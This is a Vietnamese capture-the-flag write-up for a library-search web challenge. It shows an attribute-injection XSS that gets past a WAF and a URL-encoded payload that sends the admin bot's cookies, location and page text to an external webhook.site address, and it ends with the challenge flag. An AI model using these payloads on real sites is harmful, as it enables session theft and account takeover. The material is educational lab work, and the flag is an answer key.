Mô tả đề :
-The Coventry Digital Library lets students search the book catalogue by title, author, or genre.
-The team recently added a WAF after an incident. They're confident it blocks all injection attempts.
Bài này cho một website thư viện số có chức năng tìm kiếm sách theo tên, tác giả hoặc thể loại. Từ mô tả đề bài ta có thể đoán đây là 1 bài xoay quanh loại injection nào đấy nhưng có thể bị chặn bằng các payload phổ biến
- / : Trang chủ là giao diện catalogue với một ô tìm kiếm

- /report.php : Trang này cho phép submit một url để admin truy cập nội bộ

-/messages.php : Trang này hiển thị các message nhận được và auto-refresh mỗi 5 giây

Bước 1: ta sẽ thử vài payload phổ biến ở ô tìm kiếm ở trang chủ -> một số payload như <sgv hay <script> đều bị chặn bởi WAF
Ta sẽ thử search với ?q=AAA và thấy HTMLcó trả về kiểu <input type="text" name="q" value="AAA" placeholder="Search by title, author or genre…">
-> Giá trị của q được phản xạ trực tiếp vào element value của thẻ input
-> Kiểm tra việc escape trong attribute context -> không escape dấu " nên ta có thể thoát khỏi value="...." và chèn thêm attribute
Ta thử /?q=%22 thì HTMl trả về <input type="text" name="q" value=""" placeholder="Search by title, author or genre…">
-> Web đang có HTML attribute injection
Bước 2: ta thử các payload
Ta thử payload cơ bản như x" autofocus onfocus=alert(1) x="
khi render HTML có dạng : <input type="text" name="q" value="x" autofocus onfocus=alert(1) x="" placeholder="..."> và trang có hiện console 1 thật
-> Ta sẽ thử ping ra 1 web của mình nhận request xem có được không. Tôi sử dụng webhook để nhận requests
Gửi x" autofocus onfocus=location='https://webhook.site/dcb66ff2-580b-4cf3-ba21-868c5e6939a3' x=" -> Ở phía webhook nhận được request -> Ta sẽ để admin request đến webhook của mình
Bước 3: Sau khi biết bot thực thi JavaScript, bước tiếp theo là lấy dữ liệu ra ngoài. Ta dùng payload để gửi document.cookie, location, một phần document.body.innerText
Sử dụng payload sau :
http://localhost:8080/?q=x%22%20autofocus%20onfocus%3D%22location%3D%27https%3A%2F%2Fwebhook.site%2Fdcb66ff2-580b-4cf3-ba21-868c5e6939a3%3Fc%3D%27%2BencodeURIComponent(document.cookie)%2B%27%26u%3D%27%2BencodeURIComponent(location)%2B%27%26d%3D%27%2BencodeURIComponent(document.body.innerText.slice(0%2C1200))%22%20x%3D%22
Dùng vào url report ở admin rồi kiểm tra webhook ta nhận được flag

flag : flag=RAM{4ttr_1nj3ct_w4f_byp4ss_1br4ry}